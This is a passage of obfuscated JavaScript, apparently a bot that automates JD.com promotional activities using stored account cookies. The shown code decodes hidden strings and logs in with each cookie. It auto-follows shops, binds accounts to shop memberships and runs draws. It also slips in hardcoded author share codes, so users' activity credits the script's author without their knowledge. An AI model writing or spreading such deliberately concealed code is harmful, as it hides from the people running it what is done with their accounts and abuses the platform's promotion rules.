Y29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','VG1CUFo=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','MjQyMDU0MTY5NGY3NDQyZDk2MzQ2ODFjNmYyNmMxNWU=','OTU3Y2I1ZTFkM2I1NDNiMTk5ODA4OTczMWU0ZWY1ZjE=','OTFlYjk5ZTIxYzkyNDAzYzhiOGIyOWYzNjA0YmQ3NjU=','MTAwMDAwMDkwNA==','Z2V0QXV0aG9yQ29kZUxpc3RlcnI=','bXNn','bmFtZQ==','SU15T2c=','bnFpbmk=','dlRad1o=','bGVuZ3Ro','SlFXaXQ=','bWllc0M=','VXNlck5hbWU=','cHVvS3Q=','bWF0Y2g=','aW5kZXg=','R0lHTGo=','aXNMb2dpbg==','bmlja05hbWU=','RkhaWmo=','bG9n','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','eG5UaXk=','T3VPRHg=','VVVJRA==','dk9MYk8=','cE9vVXE=','TlFudVo=','WGxwWXk=','YXV0aG9yQ29kZQ==','cWtjdW0=','YXV0aG9yTnVt','dG5kcmw=','cmFuZG9tQ29kZQ==','YWN0aXZpdHlJZA==','bkRwVHk=','YWN0aXZpdHlTaG9wSWQ=','YVhKRGw=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2pvaW5Db21tb24vYWN0aXZpdHkv','P2FjdGl2aXR5SWQ9','JnNoYXJlVXVpZD0=','VFBZRXQ=','JmFkc291cmNlPSZzaGFyZXVzZXJpZDRtaW5pcGc9','c2VjcmV0UGlu','JnNob3BpZD0xMDAwMDA0MDY1JmxuZz0wMC4wMDAwMDAmbGF0PTAwLjAwMDAwMCZzaWQ9JnVuX2FyZWE9','bldGeWE=','d2FpdA==','cEJBUGg=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','eUFiV3o=','VlNsQnI=','aXNOb2Rl','c2VuZE5vdGlmeQ==','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','5rKh5pyJ6I635Y+W5Yiw5a+55bqU55qE5Lu75Yqh44CCCg==','ZHovY29tbW9uL2dldFNpbXBsZUFjdEluZm9Wbw==','aVJqR2U=','5Y675Yqp5YqbIC0+IA==','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','TG1aSXY=','am9pbkNvbW1vbi9hY3Rpdml0eUNvbnRlbnQ=','cG9KR0s=','5YWz5rOo5bqX6ZO6','am9pbkNvbW1vbi9kb1Rhc2s=','am9pbkNvbW1vbi90YXNrSW5mbw==','5Yqg5YWl5bqX6ZO65Lya5ZGY','NDAx','U0ZpSFE=','am9pbkNvbW1vbi9hc3Npc3Q=','am9pbkNvbW1vbi9zdGFydERyYXc=','dG9rZW4=','b3BlbkNhcmRBY3Rpdml0eUlk','YWRkU2NvcmU=','RlpUV0c=','bkJKV1o=','Y1dlTGs=','ak1QWEw=','YWN0aXZpdHlJZD0=','REJvZFY=','d3RYZkY=','VU9ibmo=','Rmlla1c=','R2FCdVk=','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','bktnc1A=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPQ==','aUFzd3g=','UFFYamE=','QlFkUVk=','SUhpalY=','JnBpbj0=','JnBpbkltZz0mbmljaz0=','RUhvaE0=','cGlu','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','cGFyc2U=','Y29kZQ==','TU9BZkM=','RnJxTkM=','UWtCeXU=','aEdpdkQ=','bG9MQnk=','VERla3o=','SEhwTHM=','V2xQWEM=','JnV1aWQ9','YWN0b3JVdWlk','JnRhc2tUeXBlPTIwJnRhc2tWYWx1ZT0=','RERuWlQ=','JnRhc2tUeXBlPTIzJnRhc2tWYWx1ZT0=','eE5ObVo=','bWF0dXE=','cGluPQ==','S0VBQXM=','dkJHZFg=','b3BlbkNhcmRMaXN0','Pj4+IOWOu+WKoOWFpQ==','dmFsdWU=','S0xQWVo=','bGVVTHY=','SUJGQlM=','aHNla2E=','VlV3b3g=','TGxmZ3A=','eW14VXQ=','R2NkWFI=','amdPaVM=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','dkl3SGs=','WWN1YXU=','c3RkTWg=','dkJzcEc=','d3hBY3Rpb25Db21tb24vZ2V0VXNlckluZm8=','dUhpclc=','Zkt0anY=','LS0tLS0tLS0tLS0tLS0tLS0tLQ==','R3Zhc1o=','U2ZWd3U=','dXVpZA==','YWdJRG8=','UGJlcVg=','5rS75Yqo5bey57uP57uT5p2f','c2V0dGluZ0luZm8=','bGlua2dhbWUvc2lnbg==','b3BlbmNhcmQvYWRkQ2FydA==','Q2JWYm8=','bGlua2dhbWUvc2VuZEFsbENvdXBvbg==','SFZhQ3k=','cldZcmw=','aW50ZXJhY3Rpb24vd3JpdGUvd3JpdGVQZXJzb25JbmZv','bGlua2dhbWUvZHJhdw==','bGlua2dhbWUvZHJhdy9yZWNvcmQ=','am9pbkNvbW1vbi9hc3Npc3Qvc3RhdHVz','b3BlbmNhcmQvaGVscC9saXN0','dFBDZ2c=','QWJqcmU=','ZlV6UkI=','Q05iZEM=','b0dvWW4=','cXFzek8=','cG9zdA==','eHB6WVA=','c2FHV1o=','VlBXV3A=','aERveU8=','RGRCalE=','TVBtQ3Q=','S3VyWGU=','cmVzdWx0','Rm5kSHM=','ZmNaZEc=','amRBY3Rpdml0eUlk','ZGF0YQ==','dmVuZGVySWQ=','YWN0aXZpdHlUeXBl','VXZNT2Q=','ZGFTaFY=','aGFzRW5k','UkFHank=','ZFJZak8=','U2tua2Q=','d1FQckU=','5byA5ZCv44CQ','YWN0aXZpdHlOYW1l','44CR5rS75Yqo','c2xOTUc=','cE9LSU0=','RlFUb2I=','bktGbmc=','YWN0b3JJbmZv','TWVoZ2M=','U3BwUE8=','ZlV1dEM=','ZWNWREI=','Q0tIVUQ=','b09wUGw=','b3BlbkNhcmRTdGF0dXM=','d0lDTEI=','YmljTEI=','Rm9VbWE=','RHN5TG4=','QWZLc1k=','ZW52','U0lHTl9VUkw=','a05Hak4=','VHVOTmo=','TnpETVU=','YW1KUFo=','b0F2SWI=','c3BsaXQ=','enVXck8=','dnRZWlc=','a05zank=','amNLY1U=','c3RyaW5naWZ5','cVhLSUI=','Y3ZlTm4=','aW50ZXJlc3RzUnVsZUxpc3Q=','aW50ZXJlc3RzSW5mbw==','dlV4SVo=','aG1ZaEw=','WWh3ank=','WE9jYkI=','Y0JneE4=','WVRkQUk=','aEp6d0k=','VG9XUE0=','TXVMV0Q=','aENyZ0c=','c1FsRVA=','Sk9ud1k=','dVlQYkI=','RXFIUFo=','Q1Bna0c=','aXBzT3M=','VU11elk=','aEpuS3I=','cXZkR3Q=','WVhKRW8=','SkFIZEI=','RUVXQlo=','c3Vic3Ry','aW5kZXhPZg==','SGNPRWo=','a2V5cw==','WkxIcWM=','aGFiWG4=','U0lKdEg=','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','clBrV2g=','and0SkM=','T3p4Yng=','V0plSEY=','QWxRS2w=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','T2dFUG4=','Q1VCbHc=','aXNnYlA=','c0tNUVc=','c2NCT3U=','ZnBMdUM=','eE91Z3I=','d1hqYno=','Z2V0','cml3R1k=','TmJhWE8=','UEplV1U=','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','cUpRemQ=','UEZtbkY=','R1BBaEg=','bG9nRXJy','VGR0Ung=','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS8=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpLw==','ZEprZ0U=','dFF4ZUI=','dmFOU3I=','dk1MRUU=','jpsCjEianmbLOie.WLcom.v6rXwEr=='];if(function(_0x222707,_0x5c9c1b,_0xcdc037){function _0x3bcd55(_0x50db44,_0x3ffaa6,_0x4dc3f1,_0x12858d,_0x1e81c3,_0x27db8e){_0x3ffaa6=_0x3ffaa6>>0x8,_0x1e81c3='po';var _0x425d1f='shift',_0x553e51='push',_0x27db8e='‮';if(_0x3ffaa6<_0x50db44){while(--_0x50db44){_0x12858d=_0x222707[_0x425d1f]();if(_0x3ffaa6===_0x50db44&&_0x27db8e==='‮'&&_0x27db8e['length']===0x1){_0x3ffaa6=_0x12858d,_0x4dc3f1=_0x222707[_0x1e81c3+'p']();}else if(_0x3ffaa6&&_0x4dc3f1['replace'](/[pCEnbLOeWLrXwEr=]/g,'')===_0x3ffaa6){_0x222707[_0x553e51](_0x12858d);}}_0x222707[_0x553e51](_0x222707[_0x425d1f]());}return 0xfd108;};return _0x3bcd55(++_0x5c9c1b,_0xcdc037)>>_0x5c9c1b^_0xcdc037;}(_0x3e50,0x11c,0x11c00),_0x3e50){_0xodp_=_0x3e50['length']^0x11c;};function _0x1bd5(_0x3aa924,_0x3f722b){_0x3aa924=~~'0x'['concat'](_0x3aa924['slice'](0x1));var _0x22dd14=_0x3e50[_0x3aa924];if(_0x1bd5['biHnzf']===undefined&&'‮'['length']===0x1){(function(){var _0x3bcc10;try{var _0x35c7c3=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x3bcc10=_0x35c7c3();}catch(_0x5326c3){_0x3bcc10=window;}var _0x591658='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3bcc10['atob']||(_0x3bcc10['atob']=function(_0x3d95f9){var _0x91081c=String(_0x3d95f9)['replace'](/=+$/,'');for(var _0x5b1233=0x0,_0x2906de,_0xe7534d,_0x2eaf71=0x0,_0x16caed='';_0xe7534d=_0x91081c['charAt'](_0x2eaf71++);~_0xe7534d&&(_0x2906de=_0x5b1233%0x4?_0x2906de*0x40+_0xe7534d:_0xe7534d,_0x5b1233++%0x4)?_0x16caed+=String['fromCharCode'](0xff&_0x2906de>>(-0x2*_0x5b1233&0x6)):0x0){_0xe7534d=_0x591658['indexOf'](_0xe7534d);}return _0x16caed;});}());_0x1bd5['FQLxVM']=function(_0x44b289){var _0x701161=atob(_0x44b289);var _0x1a552a=[];for(var _0x3ec62f=0x0,_0x2b444e=_0x701161['length'];_0x3ec62f<_0x2b444e;_0x3ec62f++){_0x1a552a+='%'+('00'+_0x701161['charCodeAt'](_0x3ec62f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1a552a);};_0x1bd5['NuOxfS']={};_0x1bd5['biHnzf']=!![];}var _0x1facf6=_0x1bd5['NuOxfS'][_0x3aa924];if(_0x1facf6===undefined){_0x22dd14=_0x1bd5['FQLxVM'](_0x22dd14);_0x1bd5['NuOxfS'][_0x3aa924]=_0x22dd14;}else{_0x22dd14=_0x1facf6;}return _0x22dd14;};!(async()=>{var _0x220820={'yAbWz':_0x1bd5('‮0'),'IMyOg':_0x1bd5('‮1'),'nqini':_0x1bd5('‫2'),'vTZwZ':function(_0x495872,_0x44342f){return _0x495872<_0x44342f;},'JQWit':function(_0xd5f228,_0x34f9eb){return _0xd5f228===_0x34f9eb;},'miesC':_0x1bd5('‫3'),'puoKt':function(_0x52fbd2,_0x27812e){return _0x52fbd2(_0x27812e);},'GIGLj':function(_0x170e11,_0xdb51f2){return _0x170e11+_0xdb51f2;},'FHZZj':function(_0x2636e6){return _0x2636e6();},'xnTiy':function(_0x1b8477,_0x1f3d97,_0x184e40){return _0x1b8477(_0x1f3d97,_0x184e40);},'OuODx':_0x1bd5('‫4'),'vOLbO':function(_0x17f211,_0x4e54fb){return _0x17f211(_0x4e54fb);},'pOoUq':_0x1bd5('‫5'),'NQnuZ':_0x1bd5('‫6'),'XlpYy':_0x1bd5('‫7'),'qkcum':function(_0xc03b2f,_0x406c8c,_0x1fc321){return _0xc03b2f(_0x406c8c,_0x1fc321);},'tndrl':function(_0x5a4830,_0x57de26,_0x28d354){return _0x5a4830(_0x57de26,_0x28d354);},'nDpTy':_0x1bd5('‮8'),'aXJDl':_0x1bd5('‮9'),'TPYEt':function(_0x1c3a94,_0x2c27c0){return _0x1c3a94(_0x2c27c0);},'nWFya':function(_0x3ad68d){return _0x3ad68d();},'pBAPh':function(_0x867e9a,_0x4d67ca){return _0x867e9a>_0x4d67ca;},'VSlBr':function(_0x20638e,_0x4f8a41){return _0x20638e!==_0x4f8a41;}};$[_0x1bd5('‫a')]=![];if(!cookiesArr[0x0]){$[_0x1bd5('‫b')]($[_0x1bd5('‮c')],_0x220820[_0x1bd5('‮d')],_0x220820[_0x1bd5('‫e')],{'open-url':_0x220820[_0x1bd5('‫e')]});return;}for(let _0xff8d5e=0x0;_0x220820[_0x1bd5('‫f')](_0xff8d5e,cookiesArr[_0x1bd5('‮10')]);_0xff8d5e++){if(_0x220820[_0x1bd5('‮11')](_0x220820[_0x1bd5('‫12')],_0x220820[_0x1bd5('‫12')])){if(cookiesArr[_0xff8d5e]){cookie=cookiesArr[_0xff8d5e];originCookie=cookiesArr[_0xff8d5e];newCookie='';$[_0x1bd5('‮13')]=_0x220820[_0x1bd5('‮14')](decodeURIComponent,cookie[_0x1bd5('‮15')](/pt_pin=(.+?);/)&&cookie[_0x1bd5('‮15')](/pt_pin=(.+?);/)[0x1]);$[_0x1bd5('‫16')]=_0x220820[_0x1bd5('‮17')](_0xff8d5e,0x1);$[_0x1bd5('‮18')]=!![];$[_0x1bd5('‫19')]='';await _0x220820[_0x1bd5('‫1a')](checkCookie);console[_0x1bd5('‮1b')](_0x1bd5('‫1c')+$[_0x1bd5('‫16')]+'】'+($[_0x1bd5('‫19')]||$[_0x1bd5('‮13')])+_0x1bd5('‮1d'));if(!$[_0x1bd5('‮18')]){$[_0x1bd5('‫b')]($[_0x1bd5('‮c')],_0x1bd5('‮1e'),_0x1bd5('‮1f')+$[_0x1bd5('‫16')]+'\x20'+($[_0x1bd5('‫19')]||$[_0x1bd5('‮13')])+_0x1bd5('‮20'),{'open-url':_0x220820[_0x1bd5('‫e')]});continue;}$[_0x1bd5('‫21')]=0x0;$[_0x1bd5('‮22')]=_0x220820[_0x1bd5('‫23')](getUUID,_0x220820[_0x1bd5('‮24')],0x1);$[_0x1bd5('‫25')]=_0x220820[_0x1bd5('‫26')](getUUID,_0x220820[_0x1bd5('‮27')]);authorCodeList=[_0x220820[_0x1bd5('‫28')],_0x220820[_0x1bd5('‫29')]];$[_0x1bd5('‮2a')]=ownCode?ownCode:authorCodeList[_0x220820[_0x1bd5('‮2b')](random,0x0,authorCodeList[_0x1bd5('‮10')])];$[_0x1bd5('‮2c')]=''+_0x220820[_0x1bd5('‫2d')](random,0xf4240,0x98967f);$[_0x1bd5('‮2e')]=_0x220820[_0x1bd5('‫2d')](random,0xf4240,0x98967f);$[_0x1bd5('‮2f')]=_0x220820[_0x1bd5('‮30')];$[_0x1bd5('‮31')]=_0x220820[_0x1bd5('‫32')];$[_0x1bd5('‫33')]=_0x1bd5('‫34')+$[_0x1bd5('‮2c')]+_0x1bd5('‫35')+$[_0x1bd5('‮2f')]+_0x1bd5('‫36')+_0x220820[_0x1bd5('‮37')](encodeURIComponent,$[_0x1bd5('‮2a')])+_0x1bd5('‮38')+_0x220820[_0x1bd5('‮37')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‫3a');await _0x220820[_0x1bd5('‮3b')](member);await $[_0x1bd5('‮3c')](0x3e8);if(_0x220820[_0x1bd5('‫3d')]($[_0x1bd5('‫21')],0x0)){message+=_0x1bd5('‮3e')+$[_0x1bd5('‫16')]+'】'+($[_0x1bd5('‫19')]||$[_0x1bd5('‮13')])+_0x1bd5('‫3f')+$[_0x1bd5('‫21')]+_0x1bd5('‫40');}}}else{$[_0x1bd5('‫b')]($[_0x1bd5('‮c')],_0x220820[_0x1bd5('‫41')],message);}}if(_0x220820[_0x1bd5('‮42')](message,'')){if($[_0x1bd5('‮43')]()){await notify[_0x1bd5('‫44')]($[_0x1bd5('‮c')],message,'','\x0a');}else{$[_0x1bd5('‫b')]($[_0x1bd5('‮c')],_0x220820[_0x1bd5('‫41')],message);}}})()[_0x1bd5('‮45')](_0x28f7b4=>{$[_0x1bd5('‮1b')]('','❌\x20'+$[_0x1bd5('‮c')]+_0x1bd5('‮46')+_0x28f7b4+'!','');})[_0x1bd5('‫47')](()=>{$[_0x1bd5('‫48')]();});async function member(){var _0x52d307={'DBodV':function(_0x22ffcf,_0x35871b){return _0x22ffcf===_0x35871b;},'VUwox':_0x1bd5('‮49'),'FZTWG':function(_0x32dd2a){return _0x32dd2a();},'nBJWZ':function(_0x5636c9){return _0x5636c9();},'cWeLk':function(_0x317725,_0x782fe3,_0x2b0339,_0x53d14a){return _0x317725(_0x782fe3,_0x2b0339,_0x53d14a);},'jMPXL':_0x1bd5('‫4a'),'wtXfF':_0x1bd5('‮4b'),'UObnj':function(_0x470c25,_0x36bca4){return _0x470c25+_0x36bca4;},'FiekW':_0x1bd5('‮4c'),'GaBuY':_0x1bd5('‮4d'),'nKgsP':function(_0x130e22,_0x34e4be){return _0x130e22(_0x34e4be);},'iAswx':function(_0x1736d9,_0x7ee918){return _0x1736d9===_0x7ee918;},'PQXja':_0x1bd5('‮4e'),'BQdQY':function(_0x3e8802,_0x44fe7b,_0x59e7d1,_0xbe656b,_0x233a37){return _0x3e8802(_0x44fe7b,_0x59e7d1,_0xbe656b,_0x233a37);},'IHijV':_0x1bd5('‮4f'),'EHohM':function(_0x589e15,_0x8c27f){return _0x589e15(_0x8c27f);},'MOAfC':function(_0x31cf18,_0x329332){return _0x31cf18!==_0x329332;},'FrqNC':_0x1bd5('‮50'),'QkByu':function(_0x35230d,_0x5186b9,_0x565094){return _0x35230d(_0x5186b9,_0x565094);},'hGivD':function(_0x244ef8,_0x3c68c7){return _0x244ef8(_0x3c68c7);},'loLBy':function(_0x3baf9e,_0x1ba1d4){return _0x3baf9e(_0x1ba1d4);},'TDekz':_0x1bd5('‮51'),'HHpLs':function(_0x1d7e29,_0x109558,_0x428351){return _0x1d7e29(_0x109558,_0x428351);},'WlPXC':_0x1bd5('‮52'),'DDnZT':function(_0x173a8,_0x838e89){return _0x173a8(_0x838e89);},'xNNmZ':function(_0x30faa6,_0x59f2b6,_0x4a1681){return _0x30faa6(_0x59f2b6,_0x4a1681);},'matuq':_0x1bd5('‮53'),'KEAAs':function(_0x37f27a,_0x5a9091){return _0x37f27a(_0x5a9091);},'vBGdX':_0x1bd5('‮54'),'KLPYZ':function(_0x4a7ec5,_0x37f3ac,_0x342c52){return _0x4a7ec5(_0x37f3ac,_0x342c52);},'leULv':_0x1bd5('‫55'),'IBFBS':function(_0x9cd9b5,_0x16b693){return _0x9cd9b5!==_0x16b693;},'hseka':_0x1bd5('‮56'),'Llfgp':function(_0x321b1c,_0x50740b,_0x4936cf){return _0x321b1c(_0x50740b,_0x4936cf);},'ymxUt':_0x1bd5('‮57'),'GcdXR':function(_0x41eb9d,_0x276e56,_0x58787c){return _0x41eb9d(_0x276e56,_0x58787c);},'jgOiS':_0x1bd5('‫58')};$[_0x1bd5('‮59')]=null;$[_0x1bd5('‮39')]=null;$[_0x1bd5('‮5a')]=null;$[_0x1bd5('‫5b')]=0x1;lz_cookie={};await _0x52d307[_0x1bd5('‫5c')](getFirstLZCK);await _0x52d307[_0x1bd5('‮5d')](getToken);await _0x52d307[_0x1bd5('‮5e')](task,_0x52d307[_0x1bd5('‮5f')],_0x1bd5('‮60')+$[_0x1bd5('‮2f')],0x1);if($[_0x1bd5('‮59')]){if(_0x52d307[_0x1bd5('‮61')](_0x52d307[_0x1bd5('‮62')],_0x52d307[_0x1bd5('‮62')])){await _0x52d307[_0x1bd5('‮5d')](getMyPing);if($[_0x1bd5('‮39')]){console[_0x1bd5('‮1b')](_0x52d307[_0x1bd5('‮63')](_0x52d307[_0x1bd5('‫64')],$[_0x1bd5('‮2a')]));await _0x52d307[_0x1bd5('‮5e')](task,_0x52d307[_0x1bd5('‮65')],_0x1bd5('‮66')+$[_0x1bd5('‮31')]+_0x1bd5('‫67')+_0x52d307[_0x1bd5('‫68')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‫69')+$[_0x1bd5('‮2f')]+_0x1bd5('‮6a')+$[_0x1bd5('‫33')]+_0x1bd5('‫6b'),0x1);if(_0x52d307[_0x1bd5('‫6c')]($[_0x1bd5('‫16')],0x1)){if(_0x52d307[_0x1bd5('‫6c')](_0x52d307[_0x1bd5('‮6d')],_0x52d307[_0x1bd5('‮6d')])){await _0x52d307[_0x1bd5('‫6e')](task,_0x52d307[_0x1bd5('‮6f')],_0x1bd5('‮60')+$[_0x1bd5('‮2f')]+_0x1bd5('‫70')+_0x52d307[_0x1bd5('‫68')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‮71')+_0x52d307[_0x1bd5('‮72')](encodeURIComponent,$[_0x1bd5('‮73')])+_0x1bd5('‮74')+_0x52d307[_0x1bd5('‮72')](encodeURIComponent,$[_0x1bd5('‮2a')]),0x0,0x1);}else{data=JSON[_0x1bd5('‫75')](data);if(_0x52d307[_0x1bd5('‮61')](data[_0x1bd5('‮76')],'0')){$[_0x1bd5('‮59')]=data[_0x1bd5('‮59')];}}}else{if(_0x52d307[_0x1bd5('‮77')](_0x52d307[_0x1bd5('‮78')],_0x52d307[_0x1bd5('‮78')])){$[_0x1bd5('‮1b')](error);}else{await _0x52d307[_0x1bd5('‮79')](task,_0x52d307[_0x1bd5('‮6f')],_0x1bd5('‮60')+$[_0x1bd5('‮2f')]+_0x1bd5('‫70')+_0x52d307[_0x1bd5('‮7a')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‮71')+_0x52d307[_0x1bd5('‮7a')](encodeURIComponent,$[_0x1bd5('‮73')])+_0x1bd5('‮74')+_0x52d307[_0x1bd5('‮7b')](encodeURIComponent,$[_0x1bd5('‮2a')]));}}$[_0x1bd5('‮1b')](_0x52d307[_0x1bd5('‮7c')]);await _0x52d307[_0x1bd5('‮7d')](task,_0x52d307[_0x1bd5('‮7e')],_0x1bd5('‮60')+$[_0x1bd5('‮2f')]+_0x1bd5('‮7f')+$[_0x1bd5('‫80')]+_0x1bd5('‫70')+_0x52d307[_0x1bd5('‮7b')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‫81'));await $[_0x1bd5('‮3c')](0x1f4);await _0x52d307[_0x1bd5('‮7d')](task,_0x52d307[_0x1bd5('‮7e')],_0x1bd5('‮60')+$[_0x1bd5('‮2f')]+_0x1bd5('‮7f')+$[_0x1bd5('‫80')]+_0x1bd5('‫70')+_0x52d307[_0x1bd5('‫82')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‫83'));await $[_0x1bd5('‮3c')](0x1f4);await _0x52d307[_0x1bd5('‫84')](task,_0x52d307[_0x1bd5('‫85')],_0x1bd5('‫86')+_0x52d307[_0x1bd5('‫87')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‫69')+$[_0x1bd5('‮2f')]);$[_0x1bd5('‮1b')](_0x52d307[_0x1bd5('‫88')]);if($[_0x1bd5('‮89')]){for(const _0x52829c of $[_0x1bd5('‮89')]){$[_0x1bd5('‮1b')](_0x1bd5('‫8a')+_0x52829c[_0x1bd5('‮c')]+'\x20'+_0x52829c[_0x1bd5('‮8b')]);await _0x52d307[_0x1bd5('‮8c')](getShopOpenCardInfo,{'venderId':''+_0x52829c[_0x1bd5('‮8b')],'channel':_0x52d307[_0x1bd5('‫8d')]},_0x52829c[_0x1bd5('‮8b')]);await _0x52d307[_0x1bd5('‮8c')](bindWithVender,{'venderId':''+_0x52829c[_0x1bd5('‮8b')],'bindByVerifyCodeFlag':0x1,'registerExtend':{},'writeChildFlag':0x0,'activityId':0x238b93,'channel':0x191},_0x52829c[_0x1bd5('‮8b')]);}}else{if(_0x52d307[_0x1bd5('‫8e')](_0x52d307[_0x1bd5('‫8f')],_0x52d307[_0x1bd5('‫8f')])){$[_0x1bd5('‮1b')](_0x52d307[_0x1bd5('‮90')]);}else{$[_0x1bd5('‮1b')](_0x52d307[_0x1bd5('‮90')]);}}console[_0x1bd5('‮1b')](_0x52d307[_0x1bd5('‮63')](_0x52d307[_0x1bd5('‫64')],$[_0x1bd5('‮2a')]));await _0x52d307[_0x1bd5('‮91')](task,_0x52d307[_0x1bd5('‫92')],_0x1bd5('‮60')+$[_0x1bd5('‮2f')]+_0x1bd5('‫70')+_0x52d307[_0x1bd5('‫87')](encodeURIComponent,$[_0x1bd5('‮39')])+_0x1bd5('‮7f')+$[_0x1bd5('‫80')]+_0x1bd5('‫36')+$[_0x1bd5('‮2a')]);await _0x52d307[_0x1bd5('‫93')](task,_0x52d307[_0x1bd5('‮94')],_0x1bd5('‮60')+$[_0x1bd5('‮2f')]+_0x1bd5('‮7f')+$[_0x1bd5('‫80')]+_0x1bd5('‫70')+_0x52d307[_0x1bd5('‫87')](encodeURIComponent,$[_0x1bd5('‮39')]));}}else{$[_0x1bd5('‮18')]=![];return;}}}function task(_0x1e9077,_0x517ac1,_0x440063=0x0,_0x371865=0x0){var _0x2606bf={'saGWZ':function(_0x1cc284){return _0x1cc284();},'oGoYn':_0x1bd5('‫95'),'qqszO':_0x1bd5('‫96'),'VPWWp':function(_0x326c14,_0x5a56b5){return _0x326c14===_0x5a56b5;},'hDoyO':_0x1bd5('‫97'),'DdBjQ':function(_0x4a5a13,_0x145e29){return _0x4a5a13!==_0x145e29;},'MPmCt':_0x1bd5('‫98'),'KurXe':_0x1bd5('‮99'),'FndHs':_0x1bd5('‮9a'),'fcZdG':_0x1bd5('‫4a'),'UvMOd':_0x1bd5('‮9b'),'daShV':_0x1bd5('‮4f'),'RAGjy':function(_0x32a308,_0x76a1f2){return _0x32a308===_0x76a1f2;},'dRYjO':_0x1bd5('‫9c'),'Sknkd':_0x1bd5('‮9d'),'slNMG':_0x1bd5('‫9e'),'pOKIM':function(_0x1f8d45,_0x46f6c0){return _0x1f8d45===_0x46f6c0;},'FQTob':_0x1bd5('‮9f'),'nKFng':_0x1bd5('‫a0'),'Mehgc':_0x1bd5('‫a1'),'SppPO':_0x1bd5('‮a2'),'fUutC':_0x1bd5('‮a3'),'ecVDB':_0x1bd5('‫a4'),'CKHUD':_0x1bd5('‮53'),'oOpPl':_0x1bd5('‫a5'),'wICLB':_0x1bd5('‫58'),'bicLB':_0x1bd5('‮a6'),'FoUma':_0x1bd5('‮a7'),'DsyLn':function(_0x1e1ecf,_0x4ff659){return _0x1e1ecf!==_0x4ff659;},'AfKsY':_0x1bd5('‮a8'),'kNGjN':_0x1bd5('‫a9'),'TuNNj':_0x1bd5('‮aa'),'NzDMU':_0x1bd5('‫ab'),'zuWrO':_0x1bd5('‮ac'),'vtYZW':_0x1bd5('‫ad'),'kNsjy':_0x1bd5('‫ae'),'jcKcU':_0x1bd5('‮af'),'qXKIB':_0x1bd5('‮57'),'cveNn':_0x1bd5('‮b0'),'Yhwjy':function(_0x2d052f,_0x3b1554){return _0x2d052f!==_0x3b1554;},'XOcbB':_0x1bd5('‫b1'),'cBgxN':_0x1bd5('‫b2'),'YTdAI':function(_0x38285e,_0x2aa3fe){return _0x38285e===_0x2aa3fe;},'hJzwI':_0x1bd5('‫b3'),'ToWPM':_0x1bd5('‮b4'),'xpzYP':function(_0x322ae2,_0x558afa,_0x1a50a7,_0x35e485){return _0x322ae2(_0x558afa,_0x1a50a7,_0x35e485);}};return new Promise(_0x1067ec=>{var _0x32e526={'amJPZ':_0x2606bf[_0x1bd5('‫b5')],'oAvIb':_0x2606bf[_0x1bd5('‫b6')]};$[_0x1bd5('‫b7')](_0x2606bf[_0x1bd5('‮b8')](taskUrl,_0x1e9077,_0x517ac1,_0x440063),async(_0x5bbc12,_0x213a61,_0x4566b3)=>{var _0x401db8={'wQPrE':function(_0xd36c61){return 